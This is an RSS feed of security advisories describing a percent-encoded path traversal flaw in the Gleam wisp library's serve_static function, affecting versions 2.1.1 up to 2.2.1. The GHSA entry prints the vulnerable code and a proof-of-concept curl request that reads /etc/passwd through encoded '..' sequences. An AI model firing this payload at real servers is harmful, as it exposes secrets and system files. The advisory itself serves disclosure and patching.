<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 06 Oct 2026 20:15:43 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-280436</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-280436</link>
      <description>EUVD-2026-280436</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-280436</guid>
    </item>
    <item>
      <title>fkie_cve-2026-28807</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-28807</link>
      <description>&lt;p&gt;Improper Limitation of a Pathname to a Restricted Directory (&amp;#39;Path Traversal&amp;#39;) vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.&lt;/p&gt;
&lt;p&gt;The wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.&lt;/p&gt;
&lt;p&gt;An unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.&lt;/p&gt;
&lt;p&gt;This issue affects wisp: from 2.1.1 before 2.2.1.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Improper Limitation of a Pathname to a Restricted Directory (&amp;#39;Path Traversal&amp;#39;) vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.&lt;/p&gt;
&lt;p&gt;The wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.&lt;/p&gt;
&lt;p&gt;An unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.&lt;/p&gt;
&lt;p&gt;This issue affects wisp: from 2.1.1 before 2.2.1.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-28807</guid>
    </item>
    <item>
      <title>GHSA-h7cj-j2vv-qw8r — Wisp Vulnerable to Path Traversal</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-h7cj-j2vv-qw8r</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Hex: wisp&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;In `src/wisp.gleam`, `serve_static` processes the request path in this order:&lt;/p&gt;
&lt;p&gt;```gleam
let path =
  path
  |&amp;gt; string.drop_start(string.length(prefix))
  |&amp;gt; string.replace(each: &amp;#34;..&amp;#34;, with: &amp;#34;&amp;#34;)   // Step 1: sanitize
  |&amp;gt; filepath.join(directory, _)&lt;/p&gt;
&lt;p&gt;let path = case uri.percent_decode(path) {  // Step 2: decode
  Ok(p) -&amp;gt; p
  Error(_) -&amp;gt; path
}
```&lt;/p&gt;
&lt;p&gt;Sanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Any application using `wisp.serve_static`:&lt;/p&gt;
&lt;p&gt;```gleam
fn handle_request(req: wisp.Request) -&amp;gt; wisp.Response {
  use &amp;lt;- wisp.serve_static(req, under: &amp;#34;/static&amp;#34;, from: priv_directory())
  wisp.not_found()
}
```&lt;/p&gt;
&lt;p&gt;Exploit (requires `--path-as-is` to prevent client-side normalization):&lt;/p&gt;
&lt;p&gt;```bash
# Read /etc/passwd
curl -s --path-as-is \
  &amp;#34;http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd&amp;#34;&lt;/p&gt;
&lt;p&gt;# Read project source code
curl -s --path-as-is \
  &amp;#34;h…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Hex: wisp&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;In `src/wisp.gleam`, `serve_static` processes the request path in this order:&lt;/p&gt;
&lt;p&gt;```gleam
let path =
  path
  |&amp;gt; string.drop_start(string.length(prefix))
  |&amp;gt; string.replace(each: &amp;#34;..&amp;#34;, with: &amp;#34;&amp;#34;)   // Step 1: sanitize
  |&amp;gt; filepath.join(directory, _)&lt;/p&gt;
&lt;p&gt;let path = case uri.percent_decode(path) {  // Step 2: decode
  Ok(p) -&amp;gt; p
  Error(_) -&amp;gt; path
}
```&lt;/p&gt;
&lt;p&gt;Sanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;Any application using `wisp.serve_static`:&lt;/p&gt;
&lt;p&gt;```gleam
fn handle_request(req: wisp.Request) -&amp;gt; wisp.Response {
  use &amp;lt;- wisp.serve_static(req, under: &amp;#34;/static&amp;#34;, from: priv_directory())
  wisp.not_found()
}
```&lt;/p&gt;
&lt;p&gt;Exploit (requires `--path-as-is` to prevent client-side normalization):&lt;/p&gt;
&lt;p&gt;```bash
# Read /etc/passwd
curl -s --path-as-is \
  &amp;#34;http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd&amp;#34;&lt;/p&gt;
&lt;p&gt;# Read project source code
curl -s --path-as-is \
  &amp;#34;h…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-h7cj-j2vv-qw8r</guid>
    </item>
  </channel>
</rss>
